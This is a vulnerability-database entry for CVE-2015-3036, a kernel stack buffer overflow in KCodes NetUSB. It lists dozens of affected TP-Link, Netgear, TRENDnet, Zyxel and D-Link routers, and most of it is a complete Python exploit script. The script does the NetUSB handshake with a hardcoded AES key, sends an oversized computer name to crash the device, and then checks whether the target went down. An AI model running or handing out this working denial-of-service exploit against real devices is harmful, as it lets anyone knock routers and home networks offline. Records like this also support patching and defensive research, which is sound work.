ID

VAR-E-201505-0187


CVE

cve_id:CVE-2015-3036

Trust: 3.0

sources: BID: 74724 // PACKETSTORM: 133919 // EXPLOIT-DB: 38566 // EDBNET: 24056 // EDBNET: 59647

EDB ID

38566


TITLE

NetUSB - Kernel Stack Buffer Overflow - Hardware dos Exploit

Trust: 0.6

sources: EXPLOIT-DB: 38566

DESCRIPTION

NetUSB - Kernel Stack Buffer Overflow. CVE-2015-3036CVE-122324 . dos exploit for Hardware platform

Trust: 0.6

sources: EXPLOIT-DB: 38566

AFFECTED PRODUCTS

vendor:trendnetmodel:tew-632brpscope: - version: -

Trust: 1.2

vendor:netusbmodel: - scope: - version: -

Trust: 1.0

vendor:trendnetmodel:tew-812druscope: - version: -

Trust: 0.6

vendor:netusbmodel:stackscope: - version: -

Trust: 0.5

vendor:zyxelmodel:nbg5715scope:eqversion:0

Trust: 0.3

vendor:zyxelmodel:nbg5615scope:eqversion:0

Trust: 0.3

vendor:zyxelmodel:nbg4615scope:eqversion:v2

Trust: 0.3

vendor:zyxelmodel:nbg-419nscope:eqversion:v20

Trust: 0.3

vendor:trendnetmodel:tew-mfp1scope: - version: -

Trust: 0.3

vendor:trendnetmodel:tew-823druscope: - version: -

Trust: 0.3

vendor:trendnetmodel:tew-818druscope: - version: -

Trust: 0.3

vendor:trendnetmodel:tew-813druscope: - version: -

Trust: 0.3

vendor:trendnetmodel:tew-811druscope: - version: -

Trust: 0.3

vendor:trendnetmodel:tew-673gruscope: - version: -

Trust: 0.3

vendor:trendnetmodel:tew-652brpscope: - version: -

Trust: 0.3

vendor:trendnetmodel:tew-634gruscope: - version: -

Trust: 0.3

vendor:trendnetmodel:te100-mfp1scope: - version: -

Trust: 0.3

vendor:tp linkmodel:tx-vg1530scope:eqversion:1.0

Trust: 0.3

vendor:tp linkmodel:tl-wr842ndscope:eqversion:2.0

Trust: 0.3

vendor:tp linkmodel:tl-wr842ndscope:eqversion:1.0

Trust: 0.3

vendor:tp linkmodel:tl-wr4300scope:eqversion:1.0

Trust: 0.3

vendor:tp linkmodel:tl-wr3600scope:eqversion:1.0

Trust: 0.3

vendor:tp linkmodel:tl-wr3500scope:eqversion:1.0

Trust: 0.3

vendor:tp linkmodel:tl-wr1045ndscope:eqversion:2.0

Trust: 0.3

vendor:tp linkmodel:tl-wr1043ndscope:eqversion:3.0

Trust: 0.3

vendor:tp linkmodel:tl-wr1043ndscope:eqversion:2.0

Trust: 0.3

vendor:tp linkmodel:td-wdr4900scope:eqversion:1.0

Trust: 0.3

vendor:tp linkmodel:td-w9980bscope:eqversion:1.0

Trust: 0.3

vendor:tp linkmodel:td-w9980scope:eqversion:1.0

Trust: 0.3

vendor:tp linkmodel:td-w8980bscope:eqversion:1.0

Trust: 0.3

vendor:tp linkmodel:td-w8980scope:eqversion:3.0

Trust: 0.3

vendor:tp linkmodel:td-w8970bscope:eqversion:1.0

Trust: 0.3

vendor:tp linkmodel:td-w8970scope:eqversion:3.0

Trust: 0.3

vendor:tp linkmodel:td-w8970scope:eqversion:1.0

Trust: 0.3

vendor:tp linkmodel:td-w8968scope:eqversion:3.0

Trust: 0.3

vendor:tp linkmodel:td-w8968scope:eqversion:2.0

Trust: 0.3

vendor:tp linkmodel:td-w8968scope:eqversion:1.0

Trust: 0.3

vendor:tp linkmodel:td-w1043ndscope:eqversion:1.0

Trust: 0.3

vendor:tp linkmodel:td-w1042ndscope:eqversion:1.0

Trust: 0.3

vendor:tp linkmodel:td-vg3631scope:eqversion:1.0

Trust: 0.3

vendor:tp linkmodel:td-vg3511scope:eqversion:1.0

Trust: 0.3

vendor:tp linkmodel:archer vr200vscope:eqversion:1.0

Trust: 0.3

vendor:tp linkmodel:archer d9scope:eqversion:1.0

Trust: 0.3

vendor:tp linkmodel:archer d7bscope:eqversion:1.0

Trust: 0.3

vendor:tp linkmodel:archer d7scope:eqversion:1.0

Trust: 0.3

vendor:tp linkmodel:archer d5scope:eqversion:1.0

Trust: 0.3

vendor:tp linkmodel:archer d2scope:eqversion:1.0

Trust: 0.3

vendor:tp linkmodel:archer c7scope:eqversion:1.0

Trust: 0.3

vendor:tp linkmodel:archer c5scope:eqversion:2.0

Trust: 0.3

vendor:tp linkmodel:archer c20iscope:eqversion:1.0

Trust: 0.3

vendor:tp linkmodel:archer c2scope:eqversion:1.0

Trust: 0.3

vendor:netgearmodel:xaub2511scope:eqversion:0

Trust: 0.3

vendor:netgearmodel:xau2511scope:eqversion:0

Trust: 0.3

vendor:netgearmodel:wndr4500v3scope:eqversion:0

Trust: 0.3

vendor:netgearmodel:wndr4500v2scope:eqversion:0

Trust: 0.3

vendor:netgearmodel:wndr4500scope:eqversion:0

Trust: 0.3

vendor:netgearmodel:wndr4300v2scope:eqversion:0

Trust: 0.3

vendor:netgearmodel:wndr4300scope:eqversion:0

Trust: 0.3

vendor:netgearmodel:wndr3700v5scope:eqversion:0

Trust: 0.3

vendor:netgearmodel:wn3500rpscope:eqversion:0

Trust: 0.3

vendor:netgearmodel:r8000scope:eqversion:0

Trust: 0.3

vendor:netgearmodel:r7900scope:eqversion:0

Trust: 0.3

vendor:netgearmodel:r7500scope:eqversion:0

Trust: 0.3

vendor:netgearmodel:r7000scope:eqversion:0

Trust: 0.3

vendor:netgearmodel:r6700scope:eqversion:0

Trust: 0.3

vendor:netgearmodel:r6300v2scope:eqversion:0

Trust: 0.3

vendor:netgearmodel:r6300v1scope:eqversion:0

Trust: 0.3

vendor:netgearmodel:r6250scope:eqversion:0

Trust: 0.3

vendor:netgearmodel:r6220scope:eqversion:0

Trust: 0.3

vendor:netgearmodel:r6200v2scope:eqversion:0

Trust: 0.3

vendor:netgearmodel:r6200scope:eqversion:0

Trust: 0.3

vendor:netgearmodel:r6100scope:eqversion:0

Trust: 0.3

vendor:netgearmodel:r6050scope:eqversion:0

Trust: 0.3

vendor:netgearmodel:pr2000scope:eqversion:0

Trust: 0.3

vendor:netgearmodel:lg6100dscope:eqversion:0

Trust: 0.3

vendor:netgearmodel:jr6150scope:eqversion:0

Trust: 0.3

vendor:netgearmodel:jnr3000scope:eqversion:0

Trust: 0.3

vendor:netgearmodel:ex7000scope:eqversion:0

Trust: 0.3

vendor:netgearmodel:ex6200scope:eqversion:0

Trust: 0.3

vendor:netgearmodel:dgnd4000scope:eqversion:0

Trust: 0.3

vendor:netgearmodel:dc112ascope:eqversion:0

Trust: 0.3

vendor:netgearmodel:d6400scope:eqversion:0

Trust: 0.3

vendor:netgearmodel:d6300scope:eqversion:0

Trust: 0.3

vendor:netgearmodel:d6200scope:eqversion:0

Trust: 0.3

vendor:netgearmodel:d6100scope:eqversion:0

Trust: 0.3

vendor:netgearmodel:centria wndr4720scope: - version: -

Trust: 0.3

vendor:netgearmodel:centria wndr4700scope: - version: -

Trust: 0.3

vendor:netgearmodel:ac1450scope:eqversion:0

Trust: 0.3

vendor:kcodesmodel:netusbscope:eqversion:0

Trust: 0.3

vendor:d linkmodel:dir-685scope:eqversion:2.00

Trust: 0.3

vendor:d linkmodel:dir-615scope:eqversion:3.13

Trust: 0.3

sources: BID: 74724 // PACKETSTORM: 133919 // EXPLOIT-DB: 38566

EXPLOIT

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Exploit Title: NetUSB Kernel Stack Buffer Overflow
# Date: 9/10/15
# Exploit Author: Adrian Ruiz Bermudo
# Vendor Homepage: http://www.kcodes.com/
# Version: Multiple: https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20150519-0_KCodes_NetUSB_Kernel_Stack_Buffer_Overflow_v10.txt
# Tested on: NETGEAR DC112A
# CVE : CVE-2015-3036

import socket
import sys
import random
import string
import time
import struct
from Crypto.Cipher import AES #pip install pycrypto

DOS_BYTES = 128 #BoF
TIMEOUT = 5
RECV_SIZE = 16
PORT_DEFAULT = 20005

AESKey = "\x5c\x13\x0b\x59\xd2\x62\x42\x64\x9e\xd4\x88\x38\x2d\x5e\xae\xcc"

print "#"
print "# Exploit KCodes NetUSB | Kernel Stack Buffer Overflow | Denial of Service (DoS)"
print "# CVE-2015-3036"
print "# Found by: Stefan Viehböck (Office Vienna) | SEC Consult Vulnerability Lab | https://www.sec-consult.com"
print "# Exploit author: Adrián Ruiz Bermudo | @funsecurity | http://www.funsecurity.net"
print "# Advisory: https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20150519-0_KCodes_NetUSB_Kernel_Stack_Buffer_Overflow_v10.txt"
print "#"
print ""

if len(sys.argv) >= 2:
try:
target = sys.argv[1]
try:
port = int(sys.argv[2])
except Exception as detail:
port = PORT_DEFAULT

#Inicialización de la conexión.
init = "\x56\x05"
#Datos aleatorios para el handshake
randomData = "".join(random.choice(string.lowercase) for i in range(RECV_SIZE))
#Nombre del equipo con 128 carácteres para provocar DoS.
computerName = "".join(random.choice(string.lowercase) for i in range(DOS_BYTES))
#Longitud del nombre del equipo - "\x80\x00\x00\x00"
lengthComputerName = struct.pack("i", DOS_BYTES);
#Sync - "\x07\x00\x00\x00"
syncOK = struct.pack("i", 7);
#Finalización de la conexión.
end = "\x01"

encryption_suite = AES.new(AESKey, AES.MODE_ECB, "")
randomDataCrypt1 = encryption_suite.encrypt(randomData)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(TIMEOUT)

print "Conectando:", target,":",port
sock.connect((target, port))
print "Conectado"
print "----------------"

print "Inicializando:", init.encode("hex")
sock.send(init)
print "Random data para cifrar por el servidor:", randomData.encode("hex")
sock.send(randomData)
print "----------------"

result = sock.recv(RECV_SIZE)
print "Random data cifrados por el servidor:", result.encode("hex")
print "Random data cifrados por el cliente:", randomDataCrypt1.encode("hex")
if (randomDataCrypt1 == result):
print "Handshake OK"
randomData = sock.recv(RECV_SIZE)
print "Random data a cifrar por el cliente:", randomData.encode("hex")
randomDataCrypt2 = encryption_suite.encrypt(randomData)
print "Random data cifrados por el cliente:", randomDataCrypt2.encode("hex")
print "----------------"
sock.send(randomDataCrypt2)
print "Tamanio del nombre del host a parear:", lengthComputerName.encode("hex")
sock.send(lengthComputerName)
print "Nombre del host a parear:", computerName.encode("hex")
sock.send(computerName)
print "----------------"

print "Sync: ", syncOK.encode("hex")
sock.send(syncOK)
if (sock.recv(RECV_SIZE) == syncOK):
print "Sync ok"
sock.send(end)
try:
#Esperamos unos segundos antes de conectar
time.sleep(TIMEOUT)
#Comprobamos si el dispositivo sigue vivo...
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(TIMEOUT)
sock.connect((target, port))
print "No vulnerable"
except Exception as detail:
print "Vulnerable, exploit OK"
else:
print 'Sync error.'
except Exception as detail:
print "Error de comunicación:", detail
else:
print "Usage:", sys.argv[0], "target [port]"

Trust: 1.0

sources: EXPLOIT-DB: 38566

EXPLOIT LANGUAGE

py

Trust: 0.6

sources: EXPLOIT-DB: 38566

PRICE

free

Trust: 0.6

sources: EXPLOIT-DB: 38566

TYPE

Kernel Stack Buffer Overflow

Trust: 1.0

sources: EXPLOIT-DB: 38566

TAGS

tag:exploit

Trust: 0.5

tag:denial of service

Trust: 0.5

tag:overflow

Trust: 0.5

sources: PACKETSTORM: 133919

CREDITS

Adrián Ruiz Bermudo

Trust: 0.6

sources: EXPLOIT-DB: 38566

EXTERNAL IDS

db:NVDid:CVE-2015-3036

Trust: 3.0

db:EXPLOIT-DBid:38566

Trust: 1.6

db:0DAYTODAYid:24451

Trust: 0.6

db:EDBNETid:24056

Trust: 0.6

db:EDBNETid:59647

Trust: 0.6

db:PACKETSTORMid:133919

Trust: 0.5

db:CERT/CCid:VU#177092

Trust: 0.3

db:DLINKid:SAP10057

Trust: 0.3

db:BIDid:74724

Trust: 0.3

sources: BID: 74724 // PACKETSTORM: 133919 // EXPLOIT-DB: 38566 // EDBNET: 24056 // EDBNET: 59647

REFERENCES

url:https://nvd.nist.gov/vuln/detail/cve-2015-3036

Trust: 2.7

url:https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20150519-0_kcodes_netusb_kernel_stack_buffer_overflow_v10.txt

Trust: 1.3

url:https://0day.today/exploits/24451

Trust: 0.6

url:https://www.exploit-db.com/exploits/38566/

Trust: 0.6

url:http://www.kcodes.com/product/usb_01.html

Trust: 0.3

url:http://securityadvisories.dlink.com/security/publication.aspx?name=sap10057

Trust: 0.3

url:https://www.kb.cert.org/vuls/id/177092

Trust: 0.3

url:https://github.com/funsecurity/netusb-exploit

Trust: 0.3

sources: BID: 74724 // PACKETSTORM: 133919 // EXPLOIT-DB: 38566 // EDBNET: 24056 // EDBNET: 59647

SOURCES

db:BIDid:74724
db:PACKETSTORMid:133919
db:EXPLOIT-DBid:38566
db:EDBNETid:24056
db:EDBNETid:59647

LAST UPDATE DATE

2022-07-27T09:32:39.645000+00:00


SOURCES UPDATE DATE

db:BIDid:74724date:2015-12-08T22:03:00

SOURCES RELEASE DATE

db:BIDid:74724date:2015-05-19T00:00:00
db:PACKETSTORMid:133919date:2015-10-10T14:44:44
db:EXPLOIT-DBid:38566date:2015-10-29T00:00:00
db:EDBNETid:24056date:2015-10-29T00:00:00
db:EDBNETid:59647date:2015-10-29T00:00:00